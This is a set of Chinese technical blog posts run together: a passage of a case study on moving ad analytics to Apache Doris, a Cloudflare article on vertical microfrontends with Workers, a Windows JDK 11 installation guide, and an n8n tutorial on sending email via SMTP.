数据分析时,将分散在 MySQL、Elasticsearch 中的物料数据与 ClickHouse 中的效果数据进行高效关联查询,从而为广告主提供完整、及时的投放效果洞察。

01 早期架构及挑战.PNG

在如上所说的 ClickHouse on ES 架构中,用户提交的查询通常包含 Elasticsearch 外表(a)与 ClickHouse 内表(b)。ClickHouse 会解析查询中外表部分,将其转换为 Elasticsearch 查询语句,通过 HTTP 请求获取数据并封装为 Block,最后在引擎内部完成与内表的关联计算。

01 早期架构及挑战-1.PNG

然而,随着 Elasticsearch 中数据量持续增长,该架构逐渐暴露诸多问题:

  • 查询性能恶化:慢查询率上升至 35%,平均查询耗时达到 1.4 秒;
  • 存储瓶颈:Elasticsearch 单分片难以支撑 10 亿级以上数据量,扩容与数据重分布成本高;
  • 运维复杂度高:数据链路依赖组件多,运维与监控成本显著上升;
  • 问题定位困难:缺少 ClickHouse 与 Elasticsearch 之间的全链路可观测手段,出现查询延迟、数据不一致等问题时,需跨系统排查,耗时较长。

02 选型目标及调研

基于上述问题及挑战,我们为新架构设定了明确目标:

  • 慢查询率低于 5%;
  • 运维排查耗时降低至分钟级;
  • 支持单表万亿级别数据存储;
  • 保障数据实时性,延迟低于 5 分钟。

基于以上目标,我们对 Apache Doris、ClickHouse、Elasticsearch 等主流 OLAP 引擎进行了全面的调研与性能压测。测试涵盖了写入吞吐、查询延迟、存储压缩率、全文检索性能等关键维度。

02 选型目标及调研.png

在这过程中,ClickHouse 首先被排除,因其不支持唯一键模型,而广告物料数据存在大量更新场景,要求引擎具备主键更新能力。因此,重点在 Elasticsearch 与 Apache Doris 之间进行对比。

综合测试结果,Apache Doris 在写入性能、查询效率、存储成本及运维复杂度等方面均表现优异,不仅能够满足既定架构目标,还在多个场景下显著优于 Elasticsearch。因此,我们最终选定 Apache Doris 作为下一代广告数据分析引擎

03 基于 Apache Doris 的统一分析引擎

在实际应用中,我们引入 Apache Doris(计算引擎) 替换了原先架构中的 Elasticsearch、ClickHouse,设计了统一分析引擎 Bleem。通过在外部表模块中引入数据缓存层与元数据服务层,有效提升了跨源查询效率,使数据湖外表的查询性能接近内表水平,实现了关键的性能突破。

03 基于 Apache Doris 的统一分析引擎.png

具体来看,Bleem 架构自下而上分为 5 层

  • 存储层:数据湖中的 Hive/Hudi 数据存储于 HDFS;存算分离模式下的内表数据存放于对象存储 BlobStore;存算一体模式下的内表数据则存储于本地磁盘。
  • 缓存层:将 Hive/Hudi 外部表数据缓存至 Alluxio,保障 I/O 稳定性,提升数据读取效率。
  • 计算层:Apache Doris 为核心引擎。不同项目组对应不同的 Doris 集群,以实现计算资源物理隔离,用户可按需申请计算资源。依托于 Doris 湖仓查询能力,可直接对 Doris 内表与外部 Hive/Hudi 数据查询。同时,Doris 也支持存算一体与存算分离两种部署方式,可根据实际需求灵活选择。
  • 服务层:元数据缓存服务实时监听 Hive 元数据变更,并同步至缓存中,以提升湖仓外部表的查询效率。
  • 接入层:将 OneSQL 作为统一查询接入网关,提供集群路由、查询改写、物化改写、查询鉴权、限流与阻断等功能。

依托 Doris 强大的 OLAP 计算与湖仓一体能力,将此前分散的数据湖分析、实时 OLAP 查询、在线报表及全文检索等多种场景,统一整合至同一套引擎架构中,实现了技术栈的收敛与提效。该架构在实际落地中已带来显著收益:

  • 性能大幅提升:慢查询率低于 5%,整体查询性能提升了 20%~90%
  • 存储扩展高效:支持万亿级别数据存储,水平扩容效率较 Elasticsearch 提升 10 倍以上;
  • 运维大幅简化:一套引擎覆盖全部查询场景,系统依赖组件少,运维复杂度显著降低;
  • 可观测性全面加强:Doris 支持全链路追踪与全面监控,平均问题排查时间降低 80%

迁移实践及调优经验

整个迁移过程分为三个阶段,稳步推进以确保业务平稳过渡:

  • 第一阶段(试点验证):选取关键词推广场景进行试点,跑通全量与增量数据导入流程,搭建双链路并行验证数据一致性与查询正确性。
  • 第二阶段(主体迁移):迁移原 ClickHouse on ES 查询链路,将 Elasticsearch 中全量物料数据导入 Doris,完成业务切换后下线 Elasticsearch 集群。
  • 第三阶段(收尾统一):迁移剩余纯 ClickHouse 场景,将无需关联 Elasticsearch 的查询任务及其数据全部迁移至 Doris,完成整体架构统一。

在架构升级及迁移过程中,我们收获了许多实践及优化经验,在此逐一分享

01 解决极端场景下数据一致性问题

在数据导入层面,我们基于 SeaTunnel 实现流式数据同步,该方式支持批处理场景下的 Overwrite 语义,所有导入均采用两阶段提交机制,以确保数据同步的最终一致性。

而在基于 SeaTunnel 和 Spark 的数据同步过程中,我们遇到了极端场景下的数据重复问题。主要有两种情况:

  • Spark 推测执行时,两个 Task 同时写入同一份数据并均完成 Doris 两阶段提交,尽管 Driver 只认定一个 Task 成功,但数据已重复。
  • Spark Task 完成 Doris 提交后,在向 Driver 汇报前因抢占或异常退出,Driver 重启 Task 并重新写入数据。

为解决该问题,我们在 Doris 的两阶段事务提交环节引入了 ZooKeeper 分布式锁机制,通过记录并校验事务状态来保证批同步的一致性。具体流程如下:

  • 准备提交阶段,先获取 ZooKeeper 临时锁,确保同一时间只有一个事务进入提交流程;
  • 获取锁后,将 Prepare 状态写入 ZooKeeper 临时节点,并记录当前事务 ID;
  • 查询上一个事务的状态:

    • 若不存在,直接提交当前事务;
    • 若上一事务处于 Prepare 状态,则先回滚上一事务,再提交当前事务;
    • 若上一事务已 Commit,则直接回滚当前事务;
  • 最终将 Commit 状态写入 ZooKeeper 持久节点,完成本次提交。

01 解决极端场景下数据一致性问题.png

02 Stream Load 机制优化

为应对高并发数据导入,我们对 Apache Doris 的 Stream Load 机制进行了调优。通过合理配置任务优先级与合并(Compaction)参数,显著提升了写入吞吐与稳定性。Doris 内部通过 Load Channel 进行任务调度,以区分高优与普通优先级通道。

02 Stream Load 机制优化.png

调优的核心在于合理配置相关参数,例如当 Stream Load 任务指定的 timeout 时间小于 300 秒时,系统会将其判定为高优任务并分配至高优通道。参数优化如下

load_task_high_priority_threshold_second=300
compaction_task_num_per_fast_disk=16
max_base_compaction_threads=8
max_cumu_compaction_threads=8

03 差异化的建表策略

OLAP 引擎的查询性能很大程度上取决于表结构设计。因此,我们针对不同业务场景制定了差异化的建表策略:

物料表(高频更新与大规模检索):该表数据量极大且需支持实时更新。业务查询主要基于 account_id 进行过滤,而非原 MySQL 的自增 ID。为充分发挥 Doris 前缀索引与排序键的优势,在保证业务逻辑等价的前提下,我们将 account_idid 组合为联合主键,并将account_id 设为首个排序键及分桶字段,大幅提升查询过滤效率。同时配置倒排索引以支持多维检索,并选用 ZSTD 压缩算法平衡存储与 IO 性能。

-- 建表语句参考
CREATE TABLE ad_core_winfo
(account_id BIGINT NOT NULL,
id BIGINT NOT NULL, 
word STRING,
INDEX idx_word (`word`) USING INVERTED...) 
UNIQUE KEY(account_id,id) 
DISTRIBUTED BY HASH(account_id) BUCKETS 1000;

效果表(多维聚合分析): 相较于物料表,效果表侧重于数仓指标的累加与聚合。因此,我们直接采用聚合模型,并按照“天”或“小时”粒度设置分区。

-- 建表语句参考
CREATE TABLE ad_dsp_report
(__time DATETIME, 
account_id BIGINT, ...
`ad_dsp_cost` BIGINT SUM,
...) 
AGG KEY(__time,account_id,...) 
AUTO PARTITION BY RANGE(date_trunc(`__time`,'hour'))()
DISTRIBUTED BY HASH(account_id) BUCKETS 2;

04 大账户数据倾斜治理

在数据压测中,我们发现不同 Account ID 对应的数据量差异极大,小至个位数、大至百万级别,导致 BE 节点 CPU 负载严重不均。通过 SHOW DATA SKEW 命令进一步确认,Tablet 存储分布明显倾斜:大 Tablet 占用空间达 3–4 GB,小 Tablet 仅 100-200 MB,且大账户查询延迟较高。为此,我们实施了以下两点优化:

A:按账户范围进行分区

经分析,Account ID 为 5–8 位数字,且未来不会超过 10 位。因此使用 FROM_UNIXTIME 函数将 Account ID 转换为 Datetime 类型,按月对历史数据进行分区,共划分出 33 个历史分区。每个分区可容纳 2,592,000 个 Account ID,后续每新增约 200 多万个 Account ID 才会新增一个月份分区。同时,针对历史分区,根据数据存量进行手动分桶,新分区则默认设置为 256 个分桶。

该方案通过分区裁剪有效过滤了大量无关数据,同时为未来数据膨胀预留了扩展空间(物料表日均增量约 3 亿),显著降低分区增长对查询性能的影响。

B:对 Account ID 进行二次哈希

为缓解单个 Account ID 数据量差异过大导致的分布不均,我们选取与 Account ID 无关的 ID 字段,通过 ID MOD 7 计算得到一个取值在 0~6 之间的 mod 字段。将原本仅基于 account_id 的哈希分桶键调整为 (account_id, mod) 联合键,从而将同一 Account ID 的数据分散到 7 个 BE 节点上。

04 大账户数据倾斜治理.png

优化后,各 Tablet 大小基本均衡稳定在 1GB 左右,数据存储与查询负载得以在多个 BE 间均匀分布,有效解决了 此前 CPU 负载不均的问题。

05 万级分区下的查询优化

当分区数量达到万级别时,简单点查 SQL 的耗时达到 250 毫秒,远超 100 毫秒的预期。通过分析,耗时主要集中在 Plan 阶段,原因是 Doris(2.1 版本)在分区裁剪时,会遍历所有分区进行匹配,万级分区的顺序遍历开销巨大。

为此,我们将顺序遍历改为二分查找:对万级分区先进行排序,再利用二分查找快速定位目标分区,将时间复杂度从 O(n) 降至 O(log n)。优化后,该查询耗时从 250 毫秒降至 12 毫秒,性能提升超过 20 倍。目前,二分查找已在 Doris 3.1 版本中实现。

06 并发调优

在查询优化过程中,我们发现:多数查询经过条件过滤后,实际命中的数据量并不大,即便在大账户场景下,命中数据量也仅在百万级别。然而,Profile 显示这类查询的 Total Instance 数高达 800 个,其默认并发数为 32,存在明显的过度并发

为此,我们调整以下参数降低并发开销:

set global parallel_exchange_instance_num=5;
set global parallel_pipeline_task_num=2;

调整后,同一查询的 Total Instance 数量降至 17 个,查询耗时也显著缩短。这说明在小数据量点查场景下,适当降低并发可有效减少 RPC 开销,从而降低延迟(220ms 降至 147ms)。同时,这一优化也提升了系统的整体 QPS 承载能力。

收益及规划

经过上述架构迁移与深度优化,我们在三个核心维度取得了显著收益:

  • 查询性能大幅提升:关键词推广页平均查询延迟下降 64%,创意推广页延迟下降超过 90%,整体查询体验实现跨越式提升。
  • 写入能力显著增强:单节点写入承载能力提升 3 倍以上,单表实时导入峰值突破 300 万行/秒
  • 存储效率优化明显:通过分区策略与 ZSTD 压缩算法,存储效率较 Elasticsearch 提升约 60%,并可轻松支撑万亿级数据存储。

未来,我们将深度探索 Apache Doris ,重点围绕两方面展开:

  • 增强全文检索与分词能力:引入社区在 Doris 4.0 版本中推出的 BM25 打分功能,以及 IK 分词器等更多分词组件,实现按业务场景灵活选用最优分词方案。
  • 增强向量索引:基于 Doris 4.0 版本,在内表和数据湖外表场景下对向量检索的性能和边界能力做验证与优化。

本文完。您还可以阅读来自快手另一篇实践案以及中通快递、小米集团、顺丰科技用户故事来了解湖仓分析。

想象一下,你正在开发一个大型Web应用。营销团队想要用Astro构建他们的页面以获得最佳的SEO效果,而产品团队却坚持要用React来构建功能丰富的后台管理系统。更糟糕的是,每次发布新版本时,十几个团队的代码都需要一起打包、一起测试、一起上线——只要其中一个团队引入了一个bug,整个发布就要回滚。这种"一荣俱荣、一损俱损"的耦合方式,是不是让你感到无比头疼?

或者,你的公司刚刚收购了一个创业公司,他们的产品是用Vue写的,而你们的主站是用React写的。你想把他们的功能整合进来,但又不希望把两个完全不同的代码库强行混在一起。

这些都是现代Web开发中真实存在的难题。传统的微前端架构通常是"水平"的——同一个页面上的不同组件来自不同的服务。但如果有一种方式,能让每个团队完全独立地开发、部署和维护自己的功能模块,而用户却感觉在使用一个无缝的、统一的应用呢?

这就是垂直微前端(Vertical Microfrontends)要解决的问题。现在,Cloudflare推出了一款全新的Worker模板,让这种架构变得前所未有的简单。

什么是垂直微前端?

垂直微前端是一种架构模式,单个独立团队拥有应用程序功能的完整切片,从用户界面一直到底层的CI/CD流水线。这些切片通过域名上的路径来定义,你可以将各个独立的Worker与特定路径关联起来:

/      = 营销网站
/docs  = 文档
/blog  = 博客
/dash  = 仪表盘

我们还可以进一步细化,在更细粒度的子路径上关联不同的Worker。比如在仪表盘中,你可能通过各种功能或产品来划分URL路径的深度(例如 /dash/product-a),在两个产品之间导航可能意味着两个完全不同的代码库。

现在有了垂直微前端,我们还可以这样设计:

/dash/product-a  = WorkerA
/dash/product-b  = WorkerB

上面的每个路径都是独立的前端项目,它们之间没有任何共享代码。product-aproduct-b 路由映射到分别部署的前端应用,它们有自己的框架、库、CI/CD流水线,由各自的团队定义和拥有。

你可以端到端地拥有自己的代码。但现在我们需要找到一种方法将这些独立的项目缝合在一起,更重要的是,让它们感觉像是一个统一的体验。

Cloudflare自己也在经历这个痛点,因为仪表盘有许多独立的团队负责各自的产品。团队必须面对一个事实:在他们控制范围之外所做的更改会影响用户对其产品的体验。

在内部,我们现在对自己的仪表盘也采用了类似的策略。当用户从核心仪表盘导航到我们的ZeroTrust产品时,实际上它们是两个完全独立的项目,用户只是通过路径 /:accountId/one 被路由到那个项目。

视觉上的统一体验

将这些独立项目缝合在一起,让它们感觉像一个统一的体验,并没有你想象的那么困难:只需要几行CSS魔法。我们绝对不希望发生的事情是将我们的实现细节和内部决策泄露给用户。如果我们无法让这个用户体验感觉像一个统一的前端,那我们就对用户犯下了严重的错误。

要实现这种巧妙的手法,让我们先了解一下视图过渡和文档预加载是如何发挥作用的。

视图过渡

当我们想要在两个不同页面之间无缝导航,同时让最终用户感觉流畅时,视图过渡非常有用。在页面上定义特定的DOM元素,让它们一直保留到下一页可见,并定义任何变化的处理方式,这成为了多页应用的强大缝合工具。

然而,在某些情况下,让各个垂直微前端感觉不同也是完全可以接受的。比如我们的营销网站、文档和仪表盘,它们各自都有独特的定义。用户不会期望这三者在导航时都感觉统一。但是……如果你决定在单个体验中引入垂直切片(例如 /dash/product-a/dash/product-b),那么用户绝对不应该知道它们底层是两个不同的仓库/Worker/项目。

好了,说得够多了——让我们开始动手吧。我说过让两个独立的项目对用户来说感觉像是一个是低成本的,如果你还没有听说过CSS视图过渡,那么接下来我要让你大开眼界了。

如果我告诉你,你可以在单页应用(SPA)或多页应用(MPA)的不同视图之间创建动画过渡,让它们感觉像是一个整体?在添加任何视图过渡之前,如果我们导航属于两个不同Worker的页面,中间加载状态会是浏览器中的白色空白屏幕,持续几百毫秒,直到下一页开始渲染。页面不会感觉统一,当然也不会像单页应用。

如果希望元素保留,而不是看到白色空白页,我们可以通过定义CSS视图过渡来实现。通过下面的代码,我们告诉当前文档页面,当视图过渡事件即将发生时,将nav DOM元素保留在屏幕上,如果现有页面和目标页面之间存在任何外观差异,我们将使用ease-in-out过渡来动画展示。

突然之间,两个不同的Worker感觉就像一个了。

@supports (view-transition-name: none) {
  ::view-transition-old(root),
  ::view-transition-new(root) {
    animation-duration: 0.3s;
    animation-timing-function: ease-in-out;
  }
  nav { view-transition-name: navigation; }
}

预加载

在两个页面之间过渡让它"看起来"无缝——我们还希望它"感觉"像客户端SPA一样即时。虽然目前Firefox和Safari不支持Speculation Rules,但Chrome/Edge/Opera确实支持这个较新的API。Speculation Rules API旨在提高未来导航的性能,特别是对于文档URL,让多页应用感觉更像单页应用。

分解成代码,我们需要定义一个特定格式的脚本规则,告诉支持的浏览器如何预取与我们Web应用程序连接的其他垂直切片——可能通过某些共享导航链接。

<script type="speculationrules">
  {
    "prefetch": [
      {
        "urls": ["https://product-a.com", "https://product-b.com"],
        "requires": ["anonymous-client-ip-when-cross-origin"],
        "referrer_policy": "no-referrer"
      }
    ]
  }
</script>

有了这些,我们的应用程序会预取其他微前端并将它们保留在内存缓存中,所以如果我们导航到那些页面,会感觉几乎是即时的。

对于明显可区分的垂直切片(营销、文档、仪表盘),你可能不需要这样做,因为用户在它们之间导航时会预期有轻微的加载。然而,当垂直切片定义在特定可见体验内时(例如在仪表盘页面中),强烈建议使用。

通过视图过渡和推测规则,我们能够将完全不同的代码仓库联系在一起,感觉就像它们来自单页应用一样。如果你问我,这太神奇了。

零配置请求路由

现在我们需要一种机制来托管多个应用程序,以及一种在请求流入时将它们缝合在一起的方法。定义一个Cloudflare Worker作为"路由器",允许在边缘的单个逻辑点处理网络请求,然后将它们转发给负责该URL路径的垂直微前端。而且我们可以将单个域名映射到该路由器Worker,其余的就"正常工作"了。

服务绑定

如果你还没有探索过Cloudflare Worker服务绑定,那么值得花点时间了解一下。

服务绑定允许一个Worker调用另一个Worker,而无需经过公开可访问的URL。服务绑定允许Worker A调用Worker B上的方法,或将请求从Worker A转发到Worker。进一步分解,路由器Worker可以调用已定义的每个垂直微前端Worker(例如营销、文档、仪表盘),假设它们都是Cloudflare Workers。

这为什么重要?这正是将这些垂直切片"缝合"在一起的机制。我们将在下一节深入探讨请求路由如何处理流量分割。但要定义这些微前端中的每一个,我们需要更新路由器Worker的wrangler定义,这样它就知道允许调用哪些前端。

{
  "$schema": "./node_modules/wrangler/config-schema.json",
  "name": "router",
  "main": "./src/router.js",
  "services": [
    {
      "binding": "HOME",
      "service": "worker_marketing"
    },
    {
      "binding": "DOCS",
      "service": "worker_docs"
    },
    {
      "binding": "DASH",
      "service": "worker_dash"
    }
  ]
}

上面的示例定义在我们的路由器Worker中,然后告诉我们被允许向三个独立的额外Worker(营销、文档和仪表盘)发出请求。授予权限就这么简单,但让我们深入研究一些更复杂的逻辑,包括请求路由和HTML重写网络响应。

请求路由

了解了在需要时可以调用的各种其他Worker之后,现在我们需要一些逻辑来确定何时将网络请求定向到哪里。由于路由器Worker被分配到我们的自定义域名,所有传入的请求首先在网络边缘到达它。然后它确定哪个Worker应该处理请求,并管理结果响应。

第一步是将URL路径映射到关联的Worker。当收到某个请求URL时,我们需要知道它需要被转发到哪里。我们通过定义规则来实现这一点。虽然我们支持通配符路由、动态路径和参数约束,但我们将专注于基础——字面路径前缀——因为它更清楚地说明了要点。

在这个例子中,我们有三个微前端:

/      = 营销
/docs  = 文档
/dash  = 仪表盘

上面的每个路径都需要映射到一个实际的Worker(参见上面章节中的wrangler服务定义)。对于我们的路由器Worker,我们定义一个额外的变量,包含以下数据,这样我们就知道哪些路径应该映射到哪些服务绑定。现在我们知道当请求进来时应该将用户路由到哪里!定义一个名为ROUTES的wrangler变量,内容如下:

{
  "routes": [
    {"binding": "HOME", "path": "/"},
    {"binding": "DOCS", "path": "/docs"},
    {"binding": "DASH", "path": "/dash"}
  ]
}

让我们设想一个用户访问我们网站的路径 /docs/installation。在底层,发生的情况是请求首先到达我们的路由器Worker,它负责了解什么URL路径映射到哪个独立的Worker。它理解 /docs 路径前缀映射到我们的 DOCS 服务绑定,参照我们的wrangler文件指向我们的 worker_docs 项目。我们的路由器Worker知道 /docs 被定义为垂直微前端路由,从路径中移除 /docs 前缀,将请求转发给我们的 worker_docs Worker来处理请求,然后最终返回我们得到的任何响应。

为什么要删除 /docs 路径呢?这是一个实现细节的选择,目的是当Worker通过路由器Worker访问时,它可以清理URL来处理请求,就像它是从路由器Worker外部调用的一样。像任何Cloudflare Worker一样,我们的 worker_docs 服务可能有自己的独立URL可以访问。我们决定希望该服务URL继续独立工作。当它附加到我们的新路由器Worker时,它会自动处理移除前缀,这样服务就可以从自己定义的URL或通过我们的路由器Worker访问……任何地方都可以,无所谓。

HTMLRewriter

用URL路径分割我们的各种前端服务(例如 /docs/dash)让我们很容易转发请求,但当我们的响应包含不知道它被通过路径组件反向代理的HTML时……嗯,这就会出问题。

假设我们的文档网站在响应中有一个图片标签 <img src="./logo.png" />。如果我们的用户正在访问页面 https://website.com/docs/,那么加载 logo.png 文件可能会失败,因为我们的 /docs 路径只是由我们的路由器Worker人为定义的。

只有当我们的服务通过路由器Worker访问时,我们才需要对一些绝对路径进行HTML重写,这样我们返回的浏览器响应才能引用有效的资源。实际上发生的是,当请求通过我们的路由器Worker时,我们将请求传递给正确的服务绑定,并从中接收响应。在将其传回客户端之前,我们有机会重写DOM——所以在看到绝对路径的地方,我们继续用代理路径预先填充它。以前我们的HTML返回的图片标签是 <img src="./logo.png" />,现在我们修改为在返回客户端浏览器之前 <img src="./docs/logo.png" />

让我们回到CSS视图过渡和文档预加载的魔法。我们当然可以把那段代码手动放到我们的项目中并让它工作,但这个路由器Worker也会使用HTMLRewriter自动为我们处理这些逻辑。

在你的路由器Worker ROUTES 变量中,如果你在根级别设置 smoothTransitionstrue,那么CSS过渡视图代码会自动添加。此外,如果你在路由中设置 preload 键为 true,那么该路由的推测规则脚本代码也会自动添加。

下面是两者结合使用的示例:

{
  "smoothTransitions": true,
  "routes": [
    {"binding": "APP1", "path": "/app1", "preload": true},
    {"binding": "APP2", "path": "/app2", "preload": true}
  ]
}

开始使用

你今天就可以开始使用垂直微前端模板构建了。

访问Cloudflare仪表盘的链接,或者进入"Workers & Pages"并点击"创建应用程序"按钮开始。从那里,点击"选择模板"然后"创建微前端",你就可以开始配置你的设置了。

更多使用指南,可以点击查看文档 ,如果您对各种云原生架构的内容感兴趣,也可以关注我的博客:程序猿DD,第一时间获得干货更新。

📖 前言

最近要学 Java,第一步就是装 JDK。

打开 Oracle 官网一看,下载 JDK 11 需要注册账号,注册页面还要填公司信息。好不容易填完,下载速度几 KB/s,一个 100 多 MB 的文件要下大半天。

后来发现国内有镜像站点,下载速度快多了。今天把完整步骤写下来,帮有需要的同学快速搞定。

这套方法在几台电脑上都试过,十分钟内完成安装。

🔧 前置准备

系统要求:

  • Windows 7/8/10/11(64位)
  • 至少 500MB 空闲硬盘空间

下载 JDK 11:

网盘下载(下载快):https://pan.quark.cn/s/7186f4aa4c10

📝 详细步骤

步骤一:下载 JDK 11

下载地址:

网盘下载(推荐):

网盘下载(下载快):https://pan.quark.cn/s/7186f4aa4c10

官网下载(备选):

或者去 Adoptium 官网

小提示:

  • .msi 安装版安装简单,推荐新手用
  • .zip 免安装版适合多版本共存
  • 下载完成后是类似 OpenJDK11U-jdk_x64_windows_hotspot_11.0.xx_xxx.msi 的文件

步骤二:安装 JDK

双击 .msi 文件:

  1. 点"下一步"
  2. 选安装路径

    • 默认是 C:\Program Files\Eclipse Adoptium\jdk-11.x.xx.x-hotspot\
    • 我一般改成 D:\Java\jdk-11\(好管理,不占 C 盘)

路径别带中文或特殊字符,不然可能出问题。

  1. 点"安装",等几分钟
  2. 安装完点"完成"

安装向导
图3:JDK 安装过程

到这步,JDK 已经装好了。


步骤三:配置环境变量

这步是关键,让系统能识别 Java 命令。

1. 打开环境变量

方法一(快):

  • Win + R,输入 sysdm.cpl,回车
  • 点"高级" → "环境变量"

方法二:

  • 右键"此电脑" → "属性"
  • 点"高级系统设置" → "环境变量"

2. 配置 JAVA_HOME

在"系统变量"那块(注意是系统变量,不是用户变量):

  1. 点"新建"
  2. 变量名:JAVA_HOME
  3. 变量值:你的 JDK 安装目录

    D:\Java\jdk-11\
  4. 点"确定"

配置 JAVA_HOME
图4:新建 JAVA_HOME 环境变量

3. 配置 Path

  1. 在"系统变量"里找到 Path
  2. 选中,点"编辑"
  3. 点"新建",加两行:

    %JAVA_HOME%\bin
    %JAVA_HOME%\jre\bin
  4. 把这两行拖到最上面(优先级最高)
  5. 点"确定"保存

配置 Path
图5:编辑 Path 环境变量

注意:

  • Win10/11 用"新建"按钮添加就行
  • 老版本 Win 要手动在变量值末尾加,用分号隔开
  • 电脑上装过其他 JDK?把新版本移到最上面

步骤四:验证安装

打开 CMD 测试一下:

打开 CMD:

  • Win + R,输入 cmd,回车

输入:

java -version

成功了会显示类似:

java version "11.0.xx" 202x-xx-xx LTS
Java(TM) SE Runtime Environment 18.9 (build 11.0.xx+xx-LTS)
Java HotSpot(TM) 64-Bit Server VM 18.9 (build 11.0.xx+xx-LTS, mixed mode)

验证成功
图6:成功安装后的版本信息

再测一下编译器:

javac -version

输出:

javac 11.0.xx

看到这个,JDK 11 就装好了。


步骤五:写个 Hello World(可选)

跑个程序测试环境:

  1. 新建文本文件,改名 HelloWorld.java
  2. 用记事本打开,写入:
public class HelloWorld {
    public static void main(String[] args) {
        System.out.println("Hello, JDK 11!");
    }
}
  1. 保存
  2. CMD 进入文件所在目录
  3. 编译:

    javac HelloWorld.java
  4. 运行:

    java HelloWorld

输出 Hello, JDK 11! 就说明环境完全正常。

❓ 常见问题

几个新手常遇到的问题:

Q1: java -version 提示"不是内部或外部命令"?

A: 环境变量没配好。

解决方法:

  1. 检查 JAVA_HOME 路径对不对
  2. Path 里的 %JAVA_HOME%\bin 有没有
  3. 关掉所有 CMD 窗口,重新打开
  4. 还不行就重启电脑

Q2: 装了多个 JDK 版本,怎么切换?

A: 调整 Path 里变量的顺序。

方法:

  1. 编辑 Path 环境变量
  2. 把要用的版本移到最上面
  3. 重开 CMD 验证

小技巧:可以给不同版本配不同的 JAVA_HOME,比如 JAVA_HOME8JAVA_HOME11,切换时改 Path 引用的变量就行。


Q3: Win11 配置了还是提示找不到 java?

A: Win11 有时要在用户变量里单独配一遍。

方法:

  1. 在"用户变量"也加个 JAVA_HOME
  2. 在"用户变量"的 Path 也加 %JAVA_HOME%\bin
  3. 重启终端或电脑

Q4: 下载还是慢?

A: 换个镜像试试。

推荐顺序:

  1. 清华镜像https://mirrors.tuna.tsinghua.edu.cn/Adoptium/
  2. 华为云https://repo.huaweicloud.com/java/jdk/
  3. Adoptium 官网https://adoptium.net/(国内有 CDN)

Q5: .zip 免安装版怎么用?

A: 解压后配置环境变量就行。

步骤:

  1. 把 .zip 解压到 D:\Java\jdk-11\
  2. 后面环境变量配置跟安装版一样
  3. 好处是多版本共存方便,卸载直接删文件夹

📌 总结

今天装 JDK 11 的步骤:

  1. 从国内镜像快速下载
  2. 运行安装程序
  3. 配置 JAVA_HOMEPath
  4. 验证安装

这套方法的好处:

  • 下载速度快
  • 步骤简单,新手友好

到这步,Java 开发环境就搭好了。

接下来可以:

  • 装个 IDE(IntelliJ IDEA 或 Eclipse)
  • 学 Java 基础语法
  • 写第一个 Java 项目

遇到问题?

  • 检查环境变量配置
  • 确认 JDK 安装路径
  • 评论区交流

🔗 参考来源


点赞 + 关注 + 收藏 = 学会了

整理了一个n8n小专栏,有兴趣的工友可以关注一下 👉 《n8n修炼手册》

在日常办公中,重复发送通知邮件、定时推送报表、表单提交后自动回复等场景十分常见,手动操作不仅耗时,还容易出现遗漏或错误。n8n作为一款开源的可视化工作流自动化工具,无需复杂编程,只需通过拖拽节点、配置参数,就能轻松实现邮件自动发送,非常适合没编程经验的工友上手。

n8n的核心优势是“可视化拖拽”和“多节点集成”,它能连接不同工具和服务,让数据按设定好的规则流转,从而完成自动化任务。对于自动发邮件来说,整个工作流的逻辑非常简单,只需满足两个核心组件:

  1. 触发节点:相当于工作流的“开关”,用来启动整个邮件发送流程,比如手动点击触发、定时触发、表单提交后触发等,初学者可先从最简单的手动触发入手;
  2. 动作节点:相当于工作流的“执行器”,负责完成具体的发邮件操作,n8n内置了专门的Email节点,支持通过SMTP协议连接各类邮箱,适配QQ、网易、企业邮箱等主流平台。

简单来说,我们要做的就是“搭建触发节点→连接邮件动作节点→配置邮箱参数→测试运行”,全程无需写一行代码。

创建邮箱凭证

想发邮件,首先就得登录邮箱。

在 n8n 登录邮箱跟我们在邮箱提供商的网页登录有点不同,我们需要到邮箱提供方那里开启 SMTP 授权。

我用 QQ 邮箱举例说明。

其他邮箱的开启方式大同小异,在流行 Python 自动化办公的年代,自动发邮件是很常见的示例。使用其他邮箱的工友直接百度搜【邮箱名 + 开启SMTP授权】基本能找到相关的教程。

首先在 QQ 邮箱网页登录你的账号。

然后找到“设置 -> 账号”。

然后 Ctrl + F ,搜索 SMTP 就能找到它。

默认情况 SMTP 是关闭的,如下图所示。需要你手动打开它(点击“开启服务”按钮)。

开启时,通常要收条短信验证码。输入完验证码之后就会给你一个授权码,这个授权码是用在 n8n 这边的,一定要保管好这个授权码,不要泄露出去。

在浏览器打开 n8n,创建一个凭证。

搜索 SMTP,选中它。

在表单里填入你的邮箱地址,Password 填入你刚刚申请的授权码。

Host、Port 和 SSL 要根据你所使用的邮箱去填,详情要看你使用的邮箱的官方文档。

比如我使用的 QQ 邮箱是这么要求的,发邮件的话,Host 填 smtp.qq.com,使用 SSL,端口是 465587

创建完成后就能看到一条记录。

发送第一封邮件

接下来的邮件发送我会用一个非常简单的工作流来讲解。

触发器我用了“手动触发”,也就是点一下鼠标就发邮件。虽然这看上去不像“自动化”,但你掌握了“发邮件节点”的用法,在以后的工作中只要把上游节点改成别的节点也是走得通的。

发送邮件用的是 Send email 节点。

本例的工作流是这样的。

重点是配置 Send email 节点。

  • Credential to connect with:邮件的凭证,用前面创建的那个凭证就行。
  • Operation:你要用这个节点做什么。Send 是发邮件的意思。
  • From Email:发送方的邮箱地址,填你的邮箱。
  • To Email:收件方的邮箱地址,填目标邮箱地址。
  • Subject:邮件标题
  • Email Format:邮件格式,如果你对格式没要求,选择 Text 也行。如果你需要搞一些样式,那就选 HTML
  • HTML:邮件内容。上一项选了 HTML,这项的标题就是 HTML;选 Text 这项的标题就是 Text
  • Options:其他选项。这里可以添加附件、添加抄送人等。

邮件标题和邮件内容可以写死,也可以使用上游节点传入的数据,动态调整邮件内容。

本例先写死,你根据自己的需求来做就行。

我用 QQ 邮箱向 Outlook 邮箱发一封邮件。

标题是“雷猴,自己人”。

格式是“Text”,也就是最简单的发送一些字符串过去。

内容是“用n8n发送的第一封邮件”。

完成上面的配置后,回到工作流画布面板,点一下“Execute workflow”按钮就能运行工作流了。

可以看到它已经执行了发邮件的操作。

打开 Outlook 邮箱就能看到这封邮件。

我使用的 n8n 是社区版(免费版),所以邮件下方会添加一条 n8n 的尾巴。

同时给多个人发送邮件

如果你想将一封邮件同时发送给多个人,只需要在 To Email 这里继续输入其他邮件地址就行。

每个邮箱之间要用“英文逗号”分割!!!

抄送

抄送也是很常用的功能,这个功能藏在 Send email 节点的 Options 配置项里。

